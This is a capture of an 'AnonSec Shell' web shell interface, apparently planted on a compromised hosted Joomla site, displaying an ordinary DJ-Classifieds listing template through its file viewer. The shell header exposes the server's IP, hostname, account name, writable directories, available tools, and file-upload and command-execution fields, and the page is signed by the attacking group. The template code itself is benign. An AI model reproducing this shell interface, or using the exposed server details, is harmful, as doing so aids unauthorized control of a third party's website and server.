AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/components/com_djclassifieds/views/items/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/components/com_djclassifieds/views/items/tmpl/default_smart.php
<?php
/**
 * @package DJ-Classifieds
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined ('_JEXEC') or die('Restricted access');

JHtml::_('jquery.framework');
JHTML::_('bootstrap.tooltip', '.Tips1', array('container' => '#dj-classifieds', 'placement' => 'right'));

$app = JFactory::getApplication();
$user = JFactory::getUser();
$par = $this->par;

$order = $app->input->getCmd('order') ? $app->input->getCmd('order') : $par->get('items_ordering','date_sort');
$ord_t = $app->input->getCmd('ord_t') ? $app->input->getCmd('ord_t') : $par->get('items_ordering_dir','desc');
$ord_t = $ord_t == 'desc' ? 'asc' : 'desc';

?>

<?php if($app->input->getInt('rid', 0) || $app->input->getInt('se') || $app->input->getInt('fav', 0) || $app->input->getInt('uid', 0) || ($this->is_main_cat ? $par->get('items_in_main_cat',1) || $order != $par->get('items_ordering', 'date_e') : true)){ ?>
	<?php $trigger_before = trim(implode("\n", $app->triggerEvent('onBeforeDJClassifiedsDisplay', array(&$this->items, &$par, $app->input->getVar('view'))))); ?>
	<?php if($trigger_before){ ?>
		<div class="djcf_before_display">
			<?php echo $trigger_before; ?>
		</div>
	<?php } ?>
	<div class="dj-items">
		<div class="dj-items-table-smart">
			<?php if($par->get('table_smart_sorting',1)){ ?>
				<div class="dj-items_order_by">
					<div class="dj-items_order_by_in">
						<div class="dj-items_order_by_label"><?php echo JText::_('COM_DJCLASSIFIEDS_SORT_BY')?></div>															
							<div class="dj-items_order_by_values">
							<?php 
								$sort_fields = $par->get('table_smart_sorting_fields', array("title","date_a","date_e","cat","loc","price","display","distance"));
								if(in_array('date_a', $sort_fields) && $par->get('items_ordering','date_sort') == 'date_sort'){
									unset($sort_fields[array_search('date_a', $sort_fields)]);
									$sort_fields[] = 'date_sort';
								}

								$sort_cols = array();
								if(in_array('title', $sort_fields)){
									$sort_cols['title'] = array('title' => 'COM_DJCLASSIFIEDS_TITLE');
								}
								if(in_array('date_a', $sort_fields)){
									$sort_cols['date_a'] = array('title' => 'COM_DJCLASSIFIEDS_DATE_ADDED');
								}elseif(in_array('date_sort', $sort_fields)){
									$sort_cols['date_sort'] = array('title' => 'COM_DJCLASSIFIEDS_DATE_ADDED');
								}
								if(in_array('date_e', $sort_fields)){
									$sort_cols['date_e'] = array('title' => 'COM_DJCLASSIFIEDS_DATE_EXPIRATION');
								}
								if(in_array('cat', $sort_fields)){
									$sort_cols['cat'] = array('title' => 'COM_DJCLASSIFIEDS_CATEGORY');
								}
								if(in_array('loc', $sort_fields)){
									$sort_cols['loc'] = array('title' => 'COM_DJCLASSIFIEDS_LOCALIZATION');
								}
								if(in_array('price', $sort_fields)){
									$sort_cols['price'] = array('title' => 'COM_DJCLASSIFIEDS_PRICE');
								}
								if(in_array('display', $sort_fields)){
									$sort_cols['display'] = array('title' => 'COM_DJCLASSIFIEDS_DISPLAYED');
								}
								if(in_array('distance', $sort_fields)){
									$sort_cols['distance'] = array('title' => 'COM_DJCLASSIFIEDS_DISTANCE');
								}
								if(JPluginHelper::isEnabled('djclassifieds', 'djreviews')){
									$sort_cols['reviews'] = array('title' => 'COM_DJCLASSIFIEDS_REVIEWS');
								}
								foreach($this->sort_fields as $sort_f){
									if($sort_f->in_table==2){
										$sort_cols[$sort_f->name] = array('title' => $sort_f->label);
									}
								}
							?>

							<?php $app->triggerEvent('onBeforeDJClassifiedsDisplaySortOpts', array(&$sort_cols, 'items.table.smart')); ?>

							<?php foreach($sort_cols as $col_id => $col){ ?>
								<?php $sort_class = $order == $col_id ? ($ord_t == 'asc' ? ' active active_asc' : ' active active_desc') : ''; ?>
								<a class="sort_<?php echo $col_id; ?><?php echo $sort_class; ?>" href="index.php?option=com_djclassifieds&view=<?php echo $app->input->getVar('view'); ?><?php echo DJClassifiedsSEO::getUrlVars(); ?>&order=<?php echo $col_id; ?>&ord_t=<?php echo $ord_t; ?>">
									<?php echo JText::_($col['title']); ?>
								</a>
								<?php if($sort_cols[$col_id] != end($sort_cols)){ ?>
									<span class="item_orderby_separator"></span>
								<?php } ?>
							<?php } ?>
						</div>
					</div>
				</div>
			<?php } ?>
			<div class="dj-items-rows">
			<?php
				$items_limit = $app->input->getInt('limit', $par->get('limit_djitem_show','7'));
				$items_limit = count($this->items) < $items_limit ? : $items_limit;
				$ad_position = floor($items_limit/2);
			?>				
			<?php 
				foreach($this->items as $irow => $i){
					if($irow == $ad_position){
						echo DJClassifiedsTheme::renderModule('djcf-items-table');
					}
					if($par->get('tooltip_img','1') || $par->get('tooltip_title','1')){
						$tip_cont = DJClassifiedsTheme::renderLayout('tooltip', array('item' => $i, 'par' => $par));
					}
					$row = $irow;
					$event_price = $app->triggerEvent('onDJClassifiedsDisplayPrice', array($i, 'items.table.smart'));
					$show_details = ($event_price || ($par->get('column_price','1') && $par->get('show_price','1')) || $par->get('column_date_a','1') || $par->get('column_date_e','1') || $par->get('column_displayed','1')) ? true : false;
					$row .= $show_details ? '' : ' no_details';
					if($i->promotions){
						$row .= ' promotion '.str_ireplace(',', ' ', $i->promotions);
					}
					if($i->auction){
						$row .= ' item_auction';
					}
					if($user->id && $par->get('favourite','1') && $i->f_id){
						$row .= ' item_fav';
					}
					$icon_new=0;
					if($i->date_start > JFactory::getDate('now - '.$par->get('icon_new_time','3').' day') && $par->get('icon_new','1')){
						$icon_new = 1;
						$row .= ' item_new';  
					}
					if($i->user_id && !empty($i->profile['details']->verified)){
						$row .= ' verified_profile';
					}
					if($i->published==2){
						$row .= ' item_archived';
					}
					if(!$par->get('column_image','1')){
						$row .= ' no_img_column';
					}

					?>
					<div class="item_row item_row<?php echo $row; ?>">
						<div class="item_row_in">
							<div class="item_outer">
								<div class="item_outer_in">
								<?php if($par->get('column_image','1')){ ?>
										<div class="item_img_box">
											<div class="item_img_box_in">					
												<a href="<?php echo $i->item_uri.$this->anch; ?>">
													<?php 
														$img_cl = $par->get('tooltip_img','1') ? 'Tips1' : '';
														$img_attr = $par->get('tooltip_img','1') ? ' title="'.$tip_cont.'"' : '';
														$img_attr .= ' alt="'.str_ireplace('"', "'", $i->name).'"';
														if($i->images){ 
															echo '<img src="'.JURI::base(true).$i->images[0]->thumb_smart_table.'" class="'.$img_cl.'"'.$img_attr.' />';
														}else{
															$img_src = $par->get('blank_img_source','0')=='1' ? DJClassifiedsImage::getCatImage($i->cat_id) : JURI::base().DJClassifiedsTheme::getImgAssetPath('no-image.svg');
															$img_cl .= $par->get('blank_img_source','0')=='1' ? '' : ' no-image';
															echo '<img style="'.DJClassifiedsImage::getThumbStyle(DJClassifiedsImage::getThumbType('smart_table'),$par).'" src="'.$img_src.'" class="'.$img_cl.'"'.$img_attr.' />';
														}
													?>
													<?php foreach($app->triggerEvent('onAfterDJClassifiedsDisplayImage', array($i, $par, 'items.table')) as $plug_out) echo $plug_out; ?>
												</a>
											</div>
										</div>				
									<?php } ?>
									<div class="item_content">
										<div class="item_content_in">
											<div class="item_title">
												<?php 
												if((int)$par->get('tooltip_title','1')){
													echo '<h3><a class="title Tips1" href="'.$i->item_uri.$this->anch.'" title="'.$tip_cont.'">'.$i->name.'</a></h3>';
												}else{
													echo '<h3><a class="title" href="'.$i->item_uri.$this->anch.'">'.$i->name.'</a></h3>';
												}
												if($i->type_id){
													echo DJClassifiedsType::getTypePreview($i->type_id);
												}
												if($icon_new){
													echo '<span class="new_icon">'.JText::_('COM_DJCLASSIFIEDS_NEW').'</span>';
												}
												if($i->user_id && !empty($i->profile['details']->verified)){
													echo '<span class="verified_icon" title="'.JText::_('COM_DJCLASSIFIEDS_VERIFIED_SELLER').'"></span>';
												}
												if(strstr($i->promotions, 'p_special')){
													echo '<span class="prom_ico"></span>';
												}
												if($i->auction){
													echo '<span class="auction_icon" title="'.JText::_('COM_DJCLASSIFIEDS_AUCTION').'"></span>';
												}				
												if($i->published==2){
													echo '<span class="archived_icon" title="'.JText::_('COM_DJCLASSIFIEDS_ARCHIVE_ADVERT').'"></span>';
												}
												if($par->get('favourite','1')){
													echo DJClassifiedsTheme::renderLayout('favbox', array('item_id' => $i->id, 'i_user_id' => $i->user_id, 'fav' => !empty($i->f_id), 'par' => $par));
												}
												?>											
											</div>	
											<?php if($i->event->afterDJClassifiedsDisplayTitle){ ?>
												<div class="djcf_after_title">
													<?php echo $i->event->afterDJClassifiedsDisplayTitle; ?>
												</div>
											<?php } ?>	
											<?php if($par->get('column_category','1') || ($par->get('column_loc','1') && $par->get('show_regions','1') && $i->region_id) || ($par->get('column_distance','0') && floatval($i->latitude) && floatval($i->longitude))){ ?>
												<div class="item_cat_region_outer">
													<?php if($par->get('column_category','1')){ ?>
														<?php $class='';
														if($par->get('column_category','1')=='2'){$class.=' hide_mobile';}
														else if($par->get('column_category','1')=='3'){$class.=' hide_tablet hide_mobile';} ?>
														<div class="item_category<?php echo $class;?>">
															<?php if($i->event->DJClassifiedsDisplayCategory){ ?>
																	<?php echo $i->event->DJClassifiedsDisplayCategory; ?>
															<?php }else{ ?>
																<?php echo '<a href="'.DJClassifiedsSEO::getCategoryRoute($i->cat_id.':'.$i->c_alias).'">'.JText::_($i->c_name).'</a>'; ?>
															<?php } ?>
														</div>
													<?php } ?>
													<?php if($par->get('column_category','1') && ($par->get('column_loc','1') && $par->get('show_regions','1') && $i->region_id)){ ?>
														<span class="item_cat_region_separator"></span>
													<?php }?>
													<?php if(($par->get('column_loc','1') && $par->get('show_regions','1') && $i->region_id) || ($par->get('column_distance','0') && floatval($i->latitude) && floatval($i->longitude))){ ?>
														<div class="item_region">
															<?php 
																if($par->get('column_loc','1') && $par->get('show_regions','1') && $i->region_id){
																	$class='';
																	if($par->get('column_loc','1')=='2'){$class.=' hide_mobile';}
																	else if($par->get('column_loc','1')=='3'){$class.=' hide_tablet hide_mobile';}
																	echo '<a class="'.$class.'" href="'.DJClassifiedsSEO::getRegionRoute($i->region_id.':'.$i->r_alias).'">'.JText::_($i->r_name).'</a>';
																}															 										
															?>
															<?php if($par->get('column_distance','0') && floatval($i->latitude) && floatval($i->longitude)){ 
																$class='';
																if($par->get('column_distance','0')=='2'){$class.=' hide_mobile';}
																else if($par->get('column_distance','0')=='3'){$class.=' hide_tablet hide_mobile';}?>
																<div class="item_distance<?php echo $class;?>">
																	<?php
																		if(isset($_COOKIE["djcf_latlon"])){
																			$daddr = $i->latitude.','.$i->longitude;
																			echo ' <a class="show_on_map" target="_blank" href="http://maps.google.com/maps?saddr='.str_ireplace('_', ',', $_COOKIE["djcf_latlon"]).'&daddr='.$daddr.'">';
																				echo '<span title="'.JText::_('COM_DJCLASSIFIEDS_SHOW_ON_MAP').'">';
																					echo round($i->distance_latlon).' ';
																					if($par->get('column_distance_unit','km')=='km'){ echo JText::_('COM_DJCLASSIFIEDS_KM');
																					}else{ echo JText::_('COM_DJCLASSIFIEDS_MI');}
																				
																				echo '</span>';
																			echo '</a>';
																		}elseif(($app->input->getVar('se_address','') || $app->input->getVar('se_postcode','')) && isset($i->distance)){
																			echo '<span title="'.($app->input->getVar('se_address','') ? $app->input->getVar('se_address','') : $app->input->getVar('se_postcode','')).'">';
																			echo round($i->distance).' ';
																			if($par->get('column_distance_unit','km')=='km'){
																				echo JText::_('COM_DJCLASSIFIEDS_KM');
																			}else{
																				echo JText::_('COM_DJCLASSIFIEDS_MI');
																			}
																			echo '</span>';
																		}else{
																			echo '<span onclick="getDJLocation()" class="show_distance">'.JText::_('COM_DJCLASSIFIEDS_SHOW_DISTANCE').'</span>';
																		}
																	?>
																</div>
															<?php } ?>
														</div>
													<?php } ?>		
												</div>	
											<?php }?>																																										
											<?php if($i->fields_table){ ?>
												<div class="item_custom_fields">
													<?php
														$f_i = 0;
														foreach($i->fields_table as $f){
															if($f_i){
																echo '<span class="item_custom_field_separator"></span>';
															}
															echo '<div class="item_cf_box '.$f->name.($f->class ? ' '.$f->class : '').'">';
																echo '<span class="label_title">'.$f->label.': </span>';
																echo $f->value_conv;
															echo '</div>';
															$f_i++;
														}
													?>
												</div>
											<?php } ?>					
											<?php if($i->event->beforeDJClassifiedsDisplayContent){ ?>
												<div class="djcf_before_content">
													<?php echo $i->event->beforeDJClassifiedsDisplayContent; ?>
												</div>
											<?php } ?>					
											<?php if($par->get('column_desc','1')){ ?>
												<?php $class='';
												if($par->get('column_desc','1')=='2'){$class.=' hide_mobile';}
												else if($par->get('column_desc','1')=='3'){$class.=' hide_tablet hide_mobile';} ?>
												<div class="item_desc<?php echo $class;?>">
													<a href="<?php echo $i->item_uri.$this->anch; ?>">
														<?php echo mb_substr(strip_tags($i->intro_desc), 0, $par->get('introdesc_char_limit','120'), 'UTF-8').(mb_strlen(strip_tags($i->intro_desc)) > $par->get('introdesc_char_limit','120') ? '...' : ''); ?>
													</a>
												</div>
											<?php } ?>
											<?php if($i->event->afterDJClassifiedsDisplayContent){ ?>
												<div class="djcf_after_content">
													<?php echo $i->event->afterDJClassifiedsDisplayContent; ?>
												</div>
											<?php } ?>																	
										</div>
									</div>
									<div class="clear_both"></div>							
								</div>
							</div>
							<?php if($show_details){ ?>
							<div class="item_details">
								<div class="item_details_in">
									<?php 								
									if($event_price){
										foreach($event_price as $plug_out) echo $plug_out;
									}elseif($par->get('column_price','1') && $par->get('show_price','1')){
										$class='';
										if($par->get('column_price','1')=='2'){$class.=' hide_mobile';}
										else if($par->get('column_price','1')=='3'){$class.=' hide_tablet hide_mobile';} 
										echo '<div class="item_price'.$class.'">';
											if($i->buynow){ 
												echo '<span class="buynow_label">'.JText::_('COM_DJCLASSIFIEDS_BUYNOW').': </span>';
											}
											if($i->price){
												echo DJClassifiedsTheme::priceFormat($i->price,$i->currency);
											}
											if($i->price_negotiable){ 		
												echo '<span class="row_negotiable">';
													echo JText::_('COM_DJCLASSIFIEDS_PRICE_IS_NEGOTIABLE'); 
												echo '</span>';
											}
										echo '</div>';
										echo '<div class="clear_both"></div>';
										if($i->auction){
											$auction_price = $i->highest_bid ? $i->highest_bid : $i->price_start;
											echo '<div class="item_price'.$class.'" title="'.($i->highest_bid ? JText::_('COM_DJCLASSIFIEDS_HIGHEST_BID') : JText::_('COM_DJCLASSIFIEDS_START_PRICE')).'">';
												echo '<span class="auction_icon"></span>';
												echo DJClassifiedsTheme::priceFormat($auction_price, $i->currency);
											echo '</div>';
										}
									}
									if($par->get('column_date_a','1')){
										$class='';
										if($par->get('column_date_a','1')=='2'){$class.=' hide_mobile';}
										else if($par->get('column_date_a','1')=='3'){$class.=' hide_tablet hide_mobile';}
										echo '<div class="item_date_start'.$class.'" title="'.JText::_('COM_DJCLASSIFIEDS_DATE_ADDED').'">';
											echo DJClassifiedsTheme::formatDate(strtotime($i->date_start),'',$par->get('date_format_type',0));
										echo '</div>';
									}
									if($par->get('column_date_e','1')){
										$class='';
										if($par->get('column_date_e','1')=='2'){$class.=' hide_mobile';}
										else if($par->get('column_date_e','1')=='3'){$class.=' hide_tablet hide_mobile';}
										echo '<div class="item_date_exp'.$class.'" title="'.JText::_('COM_DJCLASSIFIEDS_DATE_EXPIRATION').'">';
											echo DJClassifiedsTheme::formatDate(strtotime($i->date_exp),'',$par->get('date_format_type',0));
										echo '</div>';
									}
									if($par->get('column_displayed','1')){
										$class='';
										if($par->get('column_displayed','1')=='2'){$class.=' hide_mobile';}
										else if($par->get('column_displayed','1')=='3'){$class.=' hide_tablet hide_mobile';}
										echo '<div class="item_display'.$class.'" title="'.JText::_('COM_DJCLASSIFIEDS_DISPLAYED').'"><span></span>'.$i->display.'</div>';
									} ?>
								</div>
							</div>
							<?php } ?>
							<div class="clear_both"></div>							
						</div>
					</div>						
					<?php } ?>
			</div>
			<?php if($this->pagination->getPagesLinks()){ ?>
				<div class="pagination">
					<?php echo $this->pagination->getPagesLinks(); ?> 
				</div>
			<?php } ?>
			<?php 
				if(!$this->items){
					echo '<div class="no_results">';
						if($app->input->getInt('se')){
							echo JText::_('COM_DJCLASSIFIEDS_NO_RESULTS');	
						}else if($par->get('show_fav_profiles_items','0')){
							echo JText::_('COM_DJCLASSIFIEDS_NO_RESULTS_FAVOURITE_PROFILES');
						}else if($app->input->getInt('fav', 0) && $par->get('show_fav_items','1')){
							echo JText::_('COM_DJCLASSIFIEDS_NO_RESULTS_FAVOURITES');
						}else if($app->input->getInt('cid', 0)){
							echo JText::_('COM_DJCLASSIFIEDS_NO_CATEGORY_RESULTS');
						}else{
							echo JText::_('COM_DJCLASSIFIEDS_NO_RESULTS_DEFAULT');
						}
					echo '</div>';
				}
			?>
		</div>
	</div>
	
	<?php if($par->get('main_cat_desc','0') && $par->get('main_cat_desc_position','0') == '1' && !empty($this->main_cat->description) && !($par->get('main_cat_desc_first_page_only','0') && !$this->first_page)){ ?>
		<div class="main_cat_desc"><?php echo JText::_($this->main_cat->description); ?></div>
	<?php } ?>
	
	<?php $trigger_after = trim(implode("\n", $app->triggerEvent('onAfterDJClassifiedsDisplay', array(&$this->items, &$par, 'items')))); ?>
	<?php if($trigger_after){ ?>
		<div class="djcf_after_display">
			<?php echo $trigger_after; ?>
		</div>
	<?php } ?>
	
<?php } ?>

<?php echo DJClassifiedsTheme::renderModule('djcf-bottom'); ?>

<?php
	if($this->main_cat){
		echo DJClassifiedsTheme::renderModule('djcf-bottom-cat'.$this->main_cat->id);
	}
?>

</div>

Anon7 - 2022
AnonSec Team